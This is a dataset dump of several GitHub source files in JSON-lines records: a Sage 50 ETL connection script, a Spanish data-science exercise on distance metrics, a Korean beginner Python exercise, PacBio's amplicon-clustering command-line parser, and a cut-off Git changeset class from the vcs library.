0\r\n for strDSN in source:\r\n print(strDSN)\r\n DSNcheck = strDSN\r\n strDSN = \"DSN=\" + strDSN +\";\"\r\n db = sqlite3.connect(\"PiConnections.db\")\r\n cursor = db.cursor()\r\n cursor.execute(\"SELECT strSoftkey FROM tblConnStr\")\r\n connsoftkey = str(cursor.fetchone()[0])\r\n key = hardkey + connsoftkey\r\n\r\n cursor.execute(\"SELECT strSQLServer FROM tblConnStr\")\r\n sqlstring = str(cursor.fetchone()[0])\r\n\r\n cursor.execute(\"SELECT strSage FROM tblConnStr\")\r\n s50string = str(cursor.fetchone()[0])\r\n\r\n sqlconn = decryption(key, sqlstring)\r\n s50conn = strDSN + decryption(key, s50string)\r\n Sage50_conn = pyodbc.connect(s50conn)\r\n SQL_conn = pyodbc.connect(sqlconn)\r\n\r\n cursor1 = Sage50_conn.cursor()\r\n SQLData = SQL_conn.cursor()\r\n if comcount == 0:\r\n auditcheck = (\"IF OBJECT_ID('dbo.SAGE50_ETL_AUDIT', 'U') IS NOT NULL DROP TABLE dbo.SAGE50_ETL_AUDIT\")\r\n\r\n SQLData.execute(auditcheck)\r\n SQLData.commit()\r\n\r\n audittable = (\"CREATE TABLE [dbo].[SAGE50_ETL_AUDIT]([ID] [int] IDENTITY(1,1) NOT NULL,\"\r\n \"[Table_Name] [varchar](200) NULL,\"\r\n \"[Started_Update] [datetime] NULL,\"\r\n \"[Completed_Update] [datetime] NULL,\"\r\n \"[PI_ID] INT NULL,\"\r\n \")\")\r\n\r\n SQLData.execute(audittable)\r\n SQLData.commit()\r\n\r\n for table in cursor1.tables():\r\n tb = table.table_name\r\n auditsetup = (\"INSERT INTO [dbo].[SAGE50_ETL_AUDIT] (Table_Name,PI_ID) VALUES (?,?)\")\r\n SQLData.execute(auditsetup, tb, comcount)\r\n SQLData.commit()\r\n comcount = comcount + 1\r\n SQLData.close()\r\n Sage50_conn.close()\r\n input(\"\\n### Credentials Updated Successfully ### \\n Press any key to continue\")\r\n db.close()\r\n break\r\n\r\n except Exception as e:\r\n check = \"driver\"\r\n if check in str(e):\r\n print(\"\\n### ERROR:\\n\" + str(e))\r\n print(DSNcheck + \": Is this the correct Data Source Name?\")\r\n print(\"\\nPlease check that the Microsoft ODBC Driver 17 for SQL Server \"\r\n \"and Sage 50 ODBC drivers are both installed and configured correctly.\")\r\n print(\"\\n### Please check and re-enter details below ###\")\r\n else:\r\n print(\"\\n### ERROR:\\n\" + str(e))\r\n print(\"\\n### DETAILS INCORRECT ### \\n### Please check and re-enter details below ###\")\r\n\r\n\r\n","repo_name":"Panintelligence/sage-50-etl","sub_path":"Sage50_Connections.py","file_name":"Sage50_Connections.py","file_ext":"py","file_size_in_byte":6243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"28993925169","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # **Práctica 4: Métricas de distancia (datos estandarizados)**\n# \n# Nombre:\n# \n# Número de cuenta:\n# \n# Email:\n\n# **Objetivo.** Obtener las matrices de distancia (Euclidiana, Chebyshev, Manhattan, Minkowski) a partir de una matriz de datos.\n# \n# \n# **Fuente de datos:**\n# \n# * ingresos: son ingresos mensuales de 1 o 2 personas, si están casados.\n# * gastos_comunes: son gastos mensuales de 1 o 2 personas, si están casados. \n# * pago_coche\n# * gastos_otros\n# * ahorros\n# * vivienda: valor de la vivienda.\n# * estado_civil: 0-soltero, 1-casado, 2-divorciado\n# * hijos: cantidad de hijos menores (no trabajan).\n# * trabajo: 0-sin trabajo, 1-autonomo, 2-asalariado, 3-empresario, 4-autonomos, 5-asalariados, 6-autonomo y asalariado, 7-empresario y autonomo, 8-empresarios o empresario y autónomo \n# * comprar: 0-alquilar, 1-comprar casa a través de crédito hipotecario con tasa fija a 30 años.\n# \n\n# #### **1) Importar las bibliotecas necesarias**\n# \n\n# In[1]:\n\n\nimport pandas as pd \n# Para la manipulación y análisis de datos\nimport numpy as np \n# Para crear vectores y matrices n dimensionales\nimport matplotlib.pyplot as plt \n# Para generar gráficas a partir de los datos\nfrom scipy.spatial.distance import cdist \n# Para el cálculo de distancias\nfrom scipy.spatial import distance\n\n\n# #### **2) Importar los datos**\n\n# In[2]:\n\n\nHipoteca = pd.read_csv(\"Hipoteca.csv\")\nHipoteca\n\n\n# In[3]:\n\n\nHipoteca.info()\n\n\n# **Estandarización de datos**\n# \n# En los algoritmos basados en distancias es fundamental escalar o normalizar los datos para que cada una de las variables contribuyan por igual en el análisis.\n\n# In[42]:\n\n\nfrom sklearn.preprocessing import StandardScaler, MinMaxScaler \nestandarizar = StandardScaler() # Se instancia el objeto StandardScaler o MinMaxScaler\n# Con MinMaxScaler tenemos valores entre 0 y 1\nMEstandarizada = estandarizar.fit_transform(Hipoteca) # Se calculan la media y desviación y se escalan los datos\n\n\n# In[43]:\n\n\npd.DataFrame(MEstandarizada) \n\n\n# #### **3) Matrices de distancia**\n\n# **a) Matriz de distancias: Euclidiana**\n\n# In[44]:\n\n\nDstEuclidiana = cdist(MEstandarizada, MEstandarizada, metric='euclidean')\nMEuclidiana = pd.DataFrame(DstEuclidiana)\n\n\n# In[45]:\n\n\nprint(MEuclidiana)\n#MEuclidiana \n\n\n# In[46]:\n\n\nprint(MEuclidiana.round(3))\n\n\n# Matriz de distancias de una parte del total de objetos\n\n# In[47]:\n\n\nDstEuclidiana = cdist(MEstandarizada[0:10], MEstandarizada[0:10], metric='euclidean')\nMEuclidiana = pd.DataFrame(DstEuclidiana)\nprint(MEuclidiana) \n\n\n# Distancia entre dos objetos\n\n# In[48]:\n\n\nObjeto1 = MEstandarizada[0]\nObjeto2 = MEstandarizada[1]\ndstEuclidiana = distance.euclidean(Objeto1,Objeto2)\ndstEuclidiana \n\n\n# **b) Matriz de distancias: Chebyshev**\n\n# In[49]:\n\n\nDstChebyshev = cdist(MEstandarizada, MEstandarizada, metric='chebyshev')\nMChebyshev = pd.DataFrame(DstChebyshev)\n\n\n# In[50]:\n\n\nprint(MChebyshev)\n\n\n# Matriz de distancias de una parte del total de objetos\n\n# In[51]:\n\n\nDstChebyshev = cdist(MEstandarizada[0:10], MEstandarizada[0:10], metric='chebyshev')\nMChebyshev = pd.DataFrame(DstChebyshev)\nprint(MChebyshev)\n\n\n# Distancia entre dos objetos\n\n# In[52]:\n\n\nObjeto1 = MEstandarizada[0]\nObjeto2 = MEstandarizada[1]\ndstChebyshev = distance.chebyshev(Objeto1,Objeto2)\ndstChebyshev\n\n\n# **c) Matriz de distancias: Manhattan**\n\n# In[53]:\n\n\nDstManhattan = cdist(MEstandarizada, MEstandarizada, metric='cityblock')\nMManhattan = pd.DataFrame(DstManhattan)\n\n\n# In[54]:\n\n\nprint(MManhattan)\n\n\n# Matriz de distancias de una parte del total de objetos\n\n# In[55]:\n\n\nDstManhattan = cdist(MEstandarizada[0:10], MEstandarizada[0:10], metric='cityblock')\nMManhattan = pd.DataFrame(DstManhattan)\nprint(MManhattan)\n\n\n# Distancia entre dos objetos\n\n# In[56]:\n\n\nObjeto1 = MEstandarizada[0]\nObjeto2 = MEstandarizada[1]\ndstManhattan = distance.cityblock(Objeto1,Objeto2)\ndstManhattan\n\n\n# **d) Matriz de distancias: Minkowski**\n\n# In[57]:\n\n\nDstMinkowski = cdist(MEstandarizada, MEstandarizada, metric='minkowski', p=1.5)\nMMinkowski = pd.DataFrame(DstMinkowski)\n\n\n# In[58]:\n\n\nprint(MMinkowski)\n\n\n# Matriz de distancias de una parte del total de objetos\n\n# In[59]:\n\n\nDstMinkowski = cdist(MEstandarizada[0:10], MEstandarizada[0:10], metric='minkowski', p=1.5)\nMMinkowski = pd.DataFrame(DstMinkowski)\nprint(MMinkowski)\n\n\n# Distancia entre dos objetos\n\n# In[60]:\n\n\nObjeto1 = MEstandarizada[0]\nObjeto2 = MEstandarizada[1]\ndstMinkowski = distance.minkowski(Objeto1,Objeto2, p=1.5)\ndstMinkowski\n\n","repo_name":"Palatio93/palatia","sub_path":"IA-Práctica4-MétricasDistancia(DatosEstandarizados).py","file_name":"IA-Práctica4-MétricasDistancia(DatosEstandarizados).py","file_ext":"py","file_size_in_byte":4583,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"16345015234","text":"# 문제\n# 주민등록번호 뒷 자리 7자리 중 첫째 자리는 성별을 나타내는데, 1, 3은 남자 2, 4는 여자를 의미한다. 사용자로부터 13자리의 주민등록번호를 입력 받은 후 성별 (남자, 여자)를 출력하는 프로그램을 작성하라.\n\n# >> 주민등록번호: 821010-1635210\n# 남자\n\ni = input(\"주민등록번호를 입력하세요:\")\n\nif \"1\" ==i[7] or \"3\" ==i[7]:\n print(\"남자\")\nelse:\n \"2\" ==i[7] or \"4\" == i[7]\n print(\"여자\")\n\n# 결과값\n# 주민등록번호를 입력하세요 : 898989-3030215\n# 여자","repo_name":"SEONGJAE-YOO/python-project.","sub_path":"pythonbasic/if02.py","file_name":"if02.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"72769723784","text":"#! ~/anaconda3/bin/python\n\nimport sys,argparse\nfrom src.main import main\nfrom src.model.models import MODELS, \\\n showModels, \\\n Clustering_Exception\nfrom src.model.kmer import Kmer_Exception\nfrom src.utils.extract import Extract_Exception\n\n\nDEFAULTMODEL = 'dbscan'\nDEFAULTKMER = 11\nDEFAULTNORM = 'l2'\nDEFAULTMINREADS = 5\nDEFAULTCOMP = 2\nDEFAULTEPS = 0.0\nDEFAULTTRIM = 0.1\nDEFMINLEN = 50\nDEFMAXLEN = 25000\nDEFAULTPREFIX = './clustered'\n\nparser = argparse.ArgumentParser(prog='ClusterAmplicons.py', description='Clustering by kmer counts')\nsubparsers = parser.add_subparsers(title='subcommands')\nparser_main = subparsers.add_parser('cluster', help='cluster reads')\nparser_main.set_defaults(func=main)\nparser_main.set_defaults(prog=f'{sys.argv[0]} cluster')\nparser_desc = subparsers.add_parser('describe', help='describe models')\nparser_desc.set_defaults(func=showModels)\nparser_desc.set_defaults(prog=f'{sys.argv[0]} describe')\n#describe\nparser_desc.add_argument('-M','--model', dest='model', choices=MODELS.keys(), type=str, default=None,\n help='Show argmap and defaults for specfic model. Default None (show all)')\n\n#cluster\nparser_main.add_argument('-b','--inBAM', dest='inBAM', type=str, default=None,\n help='input BAM of CCS alignments')\nparser_main.add_argument('-Q','--inFastq', dest='inFastq', type=str, default=None,\n help='input BAM of CCS alignments')\nparser_main.add_argument('-j,--njobs', dest='njobs', type=int, default=None,\n help='j parallel jobs (only for some models). Default 1')\nkmer = parser_main.add_argument_group('kmers')\nkmer.add_argument('-k','--kmer', dest='kmer', type=int, default=DEFAULTKMER,\n help=f'kmer size for clustering. Default {DEFAULTKMER}')\nkmer.add_argument('-z','--minimizer', dest='minimizer', type=int, default=0,\n help='group kmers by minimizer of length z. Default 0 (no minimizer)')\nkmer.add_argument('-H','--noHPcollapse', dest='hpCollapse', nargs='?', type=int, default=1, const=0,\n help='Collapse all HP to max H length. Default 1 (collapse all HP to length 1)')\nkmer.add_argument('-T','--trim', dest='trim', type=float, default=DEFAULTTRIM,\n help=f'Trim kmers with freq < trim or freq > (1-trim). Default {DEFAULTTRIM:.2f}')\nkmer.add_argument('--trimLow', dest='trimLow', type=float, default=None,\n help=f'Trim kmers with frequency < trim. Over-rides -T. Default None')\nkmer.add_argument('--trimHigh', dest='trimHigh', type=float, default=None,\n help=f'Trim kmers with frequency > trimHigh. Over-rides -T. Default None')\nclust = parser_main.add_argument_group('cluster')\nclust.add_argument('-M','--model', dest='model', type=str, choices=MODELS.keys(), default=DEFAULTMODEL,\n help=f'clustering model. See https://scikit-learn.org/stable/modules/clustering.html. Default {DEFAULTMODEL}')\nclust.add_argument('-a','--agg', dest='agg', type=str, choices=['pca','featagg'],default='pca',\n help='Feature reduction method. Default pca')\nclust.add_argument('-c','--components', dest='components', type=int, default=DEFAULTCOMP,\n help=f'Use first c components of PCA/FeatAgg for clustering. Set to 0 for no reduction. Default {DEFAULTCOMP}')\nclust.add_argument('-e','--eps', dest='eps', type=float, default=None,\n help='eps cluster tolerance. Default None')\nclust.add_argument('-m','--minReads', dest='minReads', type=int, default=DEFAULTMINREADS,\n help=f'Minimum reads to be a cluster. Default {DEFAULTMINREADS}')\nclust.add_argument('-n','--normalize', dest='normalize', type=str, choices=['l1','l2','none'], default=DEFAULTNORM,\n help=f'normalization of kmer counts. Default {DEFAULTNORM}')\nclust.add_argument('-i','--ignoreEnds', dest='ignoreEnds', type=int, default=0,\n help='ignore i bases at ends of amplicons for clustering. Default 0')\nclust.add_argument('-P','--params', dest='params', type=str, default=None,\n help='json file of parameters for specific model. Order of precedence: json > CL-opts > defaults. Default None')\nfilt = parser_main.add_argument_group('filter')\nfilt.add_argument('-r','--region', dest='region', type=str, default=None,\n help='Target region for selection of reads, format \\'[chr]:[start]-[stop]\\'. Example \\'4:3076604-3076660\\'. \\nDefault all reads (no region)')\nfilt.add_argument('--extractReference', dest='reference', type=str, default=None,\n help='Extract subsequence at region coordinates for clustering using fasta reference (must have .fai). Maps 100nt on either side of region to each read and extracts sequence inbetween for kmer counting. \\nDefault None (use full read)')\nfilt.add_argument('-q','--minQV', dest='minQV', type=float, default=0.99,\n help='Minimum quality [0-1] to use for clustering. Default 0.99')\nfilt.add_argument('-l','--minLength', dest='minLength', type=int, default=DEFMINLEN,\n help=f'Minimum length read to use for clustering. Default {DEFMINLEN}')\nfilt.add_argument('-L','--maxLength', dest='maxLength', type=int, default=DEFMAXLEN,\n help=f'Maximum length read to use for clustering. Default {DEFMAXLEN}')\nfilt.add_argument('-w','--whitelist', dest='whitelist', type=str, default=None,\n help='whitelist of read names to cluster. Default None')\nfilt.add_argument('-N','--nReads', dest='nReads', type=int, default=0,\n help='Randomly downsample to nReads after filtering. Default 0 (all avail reads)')\nfilt.add_argument('-f','--flanks', dest='flanks', type=str, default=None,\n help='fasta of flanking/primer sequence. Reads not mapping to both will be filtered. Default None')\nfilt.add_argument('-A','--noArtifactFilter', dest='palfilter', action='store_false', default=True,\n help='Turn off palindromic-artifact filtering. Default use artifact filter')\nfilt.add_argument('-s','--seed', dest='seed',type=int, default=17,\n help='Random seed for downsampling. Default 17')\nout = parser_main.add_argument_group('output')\nout.add_argument('-p','--prefix', dest='prefix', type=str, default=DEFAULTPREFIX,\n help=f'Output prefix. Default {DEFAULTPREFIX}')\nout.add_argument('-S','--splitBam', dest='splitBam', action='store_true',\n help='split clusters into separate bams (noise and no-cluster dropped). Default one bam')\nout.add_argument('-x','--noBam', dest='noBam', action='store_true',\n help='Do not export HP-tagged bam of clustered reads')\nout.add_argument('-F','--fastq', dest='fastq', action='store_true',\n help='Export one fastq per cluster')\nout.add_argument('-d','--drop', dest='drop', action='store_true',\n help='Drop reads with no cluster in output bam. Default keep all reads.')\nout.add_argument('-t','--testPlot', dest='testPlot', action='store_true',\n help='Plot reads vs dist to nearest m-neighbors without clustering')\nout.add_argument('-g','--plotReads', dest='plotReads', type=int, default=None,\n help='Write pairplot of first g reduced axes for each read. Default None (no plot)')\nout.add_argument('-X','--exportKmerTable', dest='exportKmerTable', action='store_true',default=False,\n help='Export kmer count table after trimming. Default False')\n\ntry:\n args = parser.parse_args()\n if hasattr(args,'inBAM'):\n if args.inBAM=='-' and not args.noBam:\n raise Clustering_Exception('Retagging streamed bam is not supported. Please use -x option')\n if args.inBAM and args.inFastq:\n raise Clustering_Exception('Please use either BAM or Fastq, not both')\n if not args.inFastq is None:\n if not args.noBam:\n print('Fastq Input. Turning off bam output (-x)')\n args.noBam = True\n if args.palfilter:\n print('Fastq Input. Turning off artifact filter (-A)')\n args.palfilter = False\n if args.region:\n print('Fastq Input. Ignoring region')\n if hasattr(args,'plotReads'):\n if args.plotReads == 1:\n raise Clustering_Exception('PlotReads argument cannot be 1. Must be 0 (no plot) or >=2')\n if hasattr(args,'reference'):\n if args.reference and args.flanks:\n raise Clustering_Exception('Extracting subsequence and requiring explicit flanks is redundant. One or the other!')\n args.func(args)\nexcept (Clustering_Exception,Kmer_Exception,Extract_Exception) as e:\n print(f'ERROR: {e}')\n sys.exit(1)\n","repo_name":"PacificBiosciences/pbampliconclustering","sub_path":"ClusterAmplicons.py","file_name":"ClusterAmplicons.py","file_ext":"py","file_size_in_byte":8747,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"81"} +{"seq_id":"40428300007","text":"import re\nfrom itertools import chain\nfrom dulwich import objects\nfrom subprocess import Popen, PIPE\n\nfrom vcs.conf import settings\nfrom vcs.backends.base import BaseChangeset, EmptyChangeset\nfrom vcs.exceptions import (\n RepositoryError, ChangesetError, NodeDoesNotExistError, VCSError,\n ChangesetDoesNotExistError, ImproperArchiveTypeError\n)\nfrom vcs.nodes import (\n FileNode, DirNode, NodeKind, RootNode, SubModuleNode,\n ChangedFileNodesGenerator, AddedFileNodesGenerator, RemovedFileNodesGenerator\n)\nfrom vcs.utils import (\n safe_unicode, safe_str, safe_int, date_fromtimestamp\n)\nfrom vcs.utils.lazy import LazyProperty\n\n\nclass GitChangeset(BaseChangeset):\n \"\"\"\n Represents state of the repository at single revision.\n \"\"\"\n\n def __init__(self, repository, revision):\n self._stat_modes = {}\n self.repository = repository\n\n try:\n commit = self.repository._repo[revision]\n if isinstance(commit, objects.Tag):\n revision = commit.object[1]\n commit = self.repository._repo.get_object(commit.object[1])\n except KeyError:\n raise RepositoryError(\"Cannot get object with id %s\" % revision)\n self.raw_id = revision\n self.id = self.raw_id\n self.short_id = self.raw_id[:12]\n self._commit = commit\n self._tree_id = commit.tree\n self._committer_property = 'committer'\n self._author_property = 'author'\n self._date_property = 'commit_time'\n self._date_tz_property = 'commit_timezone'\n self.revision = repository.revisions.index(revision)\n\n self.nodes = {}\n self._paths = {}\n\n @LazyProperty\n def message(self):\n return safe_unicode(self._commit.message)\n\n @LazyProperty\n def committer(self):\n return safe_unicode(getattr(self._commit, self._committer_property))\n\n @LazyProperty\n def author(self):\n return safe_unicode(getattr(self._commit, self._author_property))\n\n @LazyProperty\n def date(self):\n return date_fromtimestamp(getattr(self._commit, self._date_property),\n getattr(self._commit, self._date_tz_property))\n\n @LazyProperty\n def _timestamp(self):\n return getattr(self._commit, self._date_property)\n\n @LazyProperty\n def status(self):\n \"\"\"\n Returns modified, added, removed, deleted files for current changeset\n \"\"\"\n return self.changed, self.added, self.removed\n\n @LazyProperty\n def tags(self):\n _tags = []\n for tname, tsha in self.repository.tags.iteritems():\n if tsha == self.raw_id:\n _tags.append(tname)\n return _tags\n\n @LazyProperty\n def branch(self):\n\n heads = self.repository._heads(reverse=False)\n\n ref = heads.get(self.raw_id)\n if ref:\n return safe_unicode(ref)\n\n def _fix_path(self, path):\n \"\"\"\n Paths are stored without trailing slash so we need to get rid off it if\n needed.\n \"\"\"\n if path.endswith('/'):\n path = path.rstrip('/')\n return path\n\n def _get_id_for_path(self, path):\n\n # FIXME: Please, spare a couple of minutes and make those codes cleaner;\n if not path in self._paths:\n path = path.strip('/')\n # set root tree\n tree = self.repository._repo[self._tree_id]\n if path == '':\n self._paths[''] = tree.id\n return tree.id\n splitted = path.split('/')\n dirs, name = splitted[:-1], splitted[-1]\n curdir = ''\n\n # initially extract things from root dir\n for item, stat, id in tree.iteritems():\n if curdir:\n name = '/'.join((curdir, item))\n else:\n name = item\n self._paths[name] = id\n self._stat_modes[name] = stat\n\n for dir in dirs:\n if curdir:\n curdir = '/'.join((curdir, dir))\n else:\n curdir = dir\n dir_id = None\n for item, stat, id in tree.iteritems():\n if dir == item:\n dir_id = id\n if dir_id:\n # Update tree\n tree = self.repository._repo[dir_id]\n if not isinstance(tree, objects.Tree):\n raise ChangesetError('%s is not a directory' % curdir)\n else:\n raise ChangesetError('%s have not been found' % curdir)\n\n # cache all items from the given traversed tree\n for item, stat, id in tree.iteritems():\n if curdir:\n name = '/'.join((curdir, item))\n else:\n name = item\n self._paths[name] = id\n self._stat_modes[name] = stat\n if not path in self._paths:\n raise NodeDoesNotExistError(\"There is no file nor directory \"\n \"at the given path '%s' at revision %s\"\n % (path, self.short_id))\n return self._paths[path]\n\n def _get_kind(self, path):\n obj = self.repository._repo[self._get_id_for_path(path)]\n if isinstance(obj, objects.Blob):\n return NodeKind.FILE\n elif isinstance(obj, objects.Tree):\n return NodeKind.DIR\n\n def _get_filectx(self, path):\n path = self._fix_path(path)\n if self._get_kind(path) != NodeKind.FILE:\n raise ChangesetError(\"File does not exist for revision %s at \"\n \" '%s'\" % (self.raw_id, path))\n return path\n\n def _get_file_nodes(self):\n return chain(*(t[2] for t in self.walk()))\n\n @LazyProperty\n def parents(self):\n \"\"\"\n Returns list of parents changesets.\n \"\"\"\n return [self.repository.get_changeset(parent)\n for parent in self._commit.parents]\n\n @LazyProperty\n def children(self):\n \"\"\"\n Returns list of children changesets.\n \"\"\"\n rev_filter = settings.GIT_REV_FILTER\n cmd = \"rev-list %s --children | grep '^%s'\" % (rev_filter, self.raw_id)\n so, se = self.repository.run_git_command(cmd)\n\n children = []\n for l in so.splitlines():\n childs = l.split(' ')[1:]\n children.extend(childs)\n return [self.repository.get_changeset(cs) for cs in children]\n\n def next(self, branch=None):\n\n if branch and self.branch != branch:\n raise VCSError('Branch option used on changeset not belonging '\n 'to that branch')\n\n def _next(changeset, branch):\n try:\n next_ = changeset.revision + 1\n next_rev = changeset.repository.revisions[next_]\n except IndexError:\n raise ChangesetDoesNotExistError\n cs = changeset.repository.get_changeset(next_rev)\n\n if branch and branch != cs.branch:\n return _next(cs, branch)\n\n return cs\n\n return _next(self, branch)\n\n def prev(self, branch=None):\n if branch and self.branch != branch:\n raise VCSError('Branch option used on changeset not belonging '\n 'to that branch')\n\n def _prev(changeset, branch):\n try:\n prev_ = changeset.revision - 1\n if prev_ < 0:\n raise IndexError\n prev_rev = changeset.repository.revisions[prev_]\n except IndexError:\n raise ChangesetDoesNotExistError\n\n cs = changeset.repository.get_changeset(prev_rev)\n\n if branch and branch != cs.branch:\n return _prev(cs, branch)\n\n return cs\n\n return _prev(self, branch)\n\n def diff(self, ignore_whitespace=True, context=3):\n rev1 = self.parents[0] if self.parents else self.repository.EMPTY_CHANGESET\n rev2 = self\n return ''.join(self.repository.get_diff(rev1, rev2,\n ignore_whitespace=ignore_whitespace,\n context=context))\n\n def get_file_mode(self, path):\n \"\"\"\n Returns stat mode of the file at the given ``path``.\n \"\"\"\n # ensure path is traversed\n self._get_id_for_path(path)\n return self._stat_modes[path]\n\n def get_file_content(self, path):\n \"\"\"\n Returns content of the file at given ``path``.\n \"\"\"\n id = self._get_id_for_path(path)\n blob = self.repository._repo[id]\n return blob.as_pretty_string()\n\n def get_file_size(self, path):\n \"\"\"\n Returns size of the file at given ``path``.\n \"\"\"\n id = self._get_id_for_path(path)\n blob = self.repository._repo[id]\n return blob.raw_length()\n\n def get_file_changeset(self, path):\n \"\"\"\n Returns last commit of the file at the given ``path``.\n \"\"\"\n return self.get_file_history(path, limit=1)[0]\n\n def get_file_history(self, path, limit=None):\n \"\"\"\n Returns history of file as reversed list of ``Changeset`` objects for\n which file at given ``path`` has been modified.\n\n TODO: This function now uses os underlying 'git' and 'grep' commands\n which is generally not good. Should be replaced with algorithm\n iterating commits.\n \"\"\"\n self._get_filectx(path)\n cs_id = safe_str(self.id)\n f_path = safe_str(path)\n\n if limit:\n cmd = 'log -n %s --pretty=\"format: %%H\" -s -p %s -- \"%s\"' % (\n safe_int(limit, 0), cs_id, f_path\n )\n\n else:\n cmd = 'log --pretty=\"format: %%H\" -s -p %s -- \"%s\"' % (\n cs_id, f_path\n )\n so, se = self.repository.run_git_command(cmd)\n ids = re.findall(r'[0-9a-fA-F]{40}', so)\n return [self.repository.get_changeset(id) for id in ids]\n\n def get_file_history_2(self, path):\n \"\"\"\n Returns history of file as reversed list of ``Changeset`` objects for\n which file at given ``path`` has been modified.\n\n \"\"\"\n self._get_filectx(path)\n from dulwich.walk import Walker\n include = [self.id]\n walker = Walker(self.repository._repo.object_store, include,\n paths=[path], max_entries=1)\n return [self.repository.get_changeset(sha)\n for sha in (x.commit.id for x in walker)]\n\n def get_file_annotate(self, path):\n \"\"\"\n Returns a generator of four element tuples with\n lineno, sha, changeset lazy loader and line\n\n TODO: This function now uses os underlying 'git' command which is\n generally not good. Should be replaced with algorithm iterating\n commits.\n \"\"\"\n cmd = 'blame -l --root -r %s -- \"%s\"' % (self.id, path)\n # -l ==> outputs long shas (and we need all 40 characters)\n # --root ==> doesn't put '^' character for bounderies\n # -r sha ==> blames for the given revision\n so, se = self.repository.run_git_command(cmd)\n\n for i, blame_line in enumerate(so.split('\\n')[:-1]):\n ln_no = i + 1\n sha, line = re.split(r' ', blame_line, 1)\n yield (ln_no, sha, lambda: self.repository.get_changeset(sha), line)\n\n def fill_archive(self, stream=None, kind='tgz', prefix=None,\n subrepos=False):\n \"\"\"\n Fills up given stream.\n\n :param stream: file like object.\n :param kind: one of following: ``zip``, ``tgz`` or ``tbz2``.\n Default: ``tgz``.\n :param prefix: name of root directory in archive.\n Default is repository name and changeset's raw_id joined with dash\n (``repo-tip.``).\n :param subrepos: include subrepos in this archive.\n\n :raise ImproperArchiveTypeError: If given kind is wrong.\n :raise VcsError: If given stream is None\n\n \"\"\"\n allowed_kinds = settings.ARCHIVE_SPECS.keys()\n if kind not in allowed_kinds:\n raise ImproperArchiveTypeError('Archive kind not supported use one'\n 'of %s', allowed_kinds)\n\n if prefix is None:\n prefix = '%s-%s' % (self.repository.name, self.short_id)\n elif prefix.startswith('/'):\n raise VCSError(\"Prefix cannot start with leading slash\")\n elif prefix.strip() == '':\n raise VCSError(\"Prefix cannot be empty\")\n\n if kind == 'zip':\n frmt = 'zip'\n else:\n frmt = 'tar'\n _git_path = settings.GIT_EXECUTABLE_PATH\n cmd = '%s archive --format=%s --prefix=%s/ %s' % (_git_path,\n frmt, prefix, self.raw_id)\n if kind == 'tgz':\n cmd += ' | gzip -9'\n elif kind == 'tbz2':\n cmd += ' | bzip2 -9'\n\n if stream is None:\n raise VCSError('You need to pass in a valid stream for filling'\n ' with archival data')\n popen = Popen(cmd, stdout=PIPE, stderr=PIPE, shell=True,\n cwd=self.repository.path)\n\n buffer_size = 1024 * 8\n chunk = popen.stdout.read(buffer_size)\n while chunk:\n stream.write(chunk)\n chunk = popen.stdout.read(buffer_size)\n # Make sure all descriptors would be read\n popen.communicate()\n\n def get_nodes(self, path):\n if self._get_kind(path) != NodeKind.DIR:\n raise ChangesetError(\"Directory does not exist for revision %s at \"\n \" '%s'\" % (self.revision, path))\n path = self._fix_path(path)\n id = self._get_id_for_path(path)\n tree = self.repository._repo[id]\n dirnodes = []\n filenodes = []\n als = self.repository.alias\n for name, stat, id in tree.iteritems():\n if objects.S_ISGITLINK(stat):\n dirnodes.append(SubModuleNode(name, url=None, changeset=id,\n alias=als))\n continue\n\n obj = self.repository._repo.get_object(id)\n if path != '':\n obj_path = '/'.join((path, name))\n else:\n obj_path = name\n if obj_path not in self._stat_modes:\n self._stat_modes[obj_path] = stat\n if isinstance(obj, objects.Tree):\n dirnodes.append(DirNode(obj_path, changeset=self))\n elif isinstance(obj, objects.Blob):\n filenodes.append(FileNode(obj_path, changeset=self, mode=stat))\n else:\n raise ChangesetError(\"Requested object should be Tree \"\n \"or Blob, is %r\" % type(obj))\n nodes = dirnodes + filenodes\n for node in nodes:\n if not node.path in self.nodes:\n self.nodes[node.path] = node\n nodes.sort()\n return nodes\n\n def get_node(self, path):\n if isinstance(path, unicode):\n path = path.encode('utf-8')\n path = self._fix_path(path)\n if not path in self.nodes:\n try:\n id_ = self._get_id_for_path(path)\n except ChangesetError:\n raise NodeDoesNotExistError(\"Cannot find one of parents' \"\n \"directories for a given path: %s\" % path)\n\n _GL = lambda m: m and objects.S_ISGITLINK(m)\n if _GL(self._stat_modes.get(path)):\n node = SubModuleNode(path, url=None, changeset=id_,\n alias=self.repository.alias)\n else:\n obj = self.repository._repo.get_object(id_)\n\n if isinstance(obj, objects.Tree):\n if path == '':\n node = RootNode(changeset=self)\n else:\n node = DirNode(path, changeset=self)\n node._tree = obj\n elif isinstance(obj, objects.Blob):\n node = FileNode(path, changeset=self)\n node._blob = obj\n else:\n raise NodeDoesNotExistError(\"There is no file nor directory \"\n \"at the given path '%s' at revision %s\"\n % (path, self.short_id))\n # cache node\n self.nodes[path] = node\n return self.nodes[path]\n\n @LazyProperty\n def affected_files(self):\n \"\"\"\n Get's a fast accessible file changes for given changeset\n \"\"\"\n added, modified, deleted = self._changes_cache\n return list(added.union(modified).union(deleted))\n\n @LazyProperty\n def _diff_name_status(self):\n output = []\n for parent in self.parents:\n cmd = 'diff --name-status %s %s --encoding=utf8' % (parent.raw_id,\n self.raw_id)\n so, se = self.repository.run_git_command(cmd)\n output.append(so.strip())\n return '\\n'.join(output)\n\n @LazyProperty\n def _changes_cache(self):\n added = set()\n modified = set()\n deleted = set()\n _r = self.repository._repo\n\n parents = self.parents\n if not self.parents:\n parents = [EmptyChangeset()]\n for parent in parents:\n if isinstance(parent, EmptyChangeset):\n oid = None\n else:\n oid = _r[parent.raw_id].tree\n changes = _r.object_store.tree_changes(oid, _r[self.raw_id].tree)\n for (oldpath, newpath), (_, _), (_, _) in changes:\n if newpath and oldpath:\n modified.add(newpath)\n elif newpath and not oldpath:\n added.add(newpath)\n elif not newpath and oldpath:\n deleted.add(oldpath)\n return added, modified, deleted\n\n def _get_paths_for_status(self, status):\n \"\"\"\n Returns sorted list of paths for given ``status``.\n\n :param status: one of: *added*, *modified* or *deleted*\n \"\"\"\n added, modified, deleted = self._changes_cache\n return sorted({\n 'added': list(added),\n 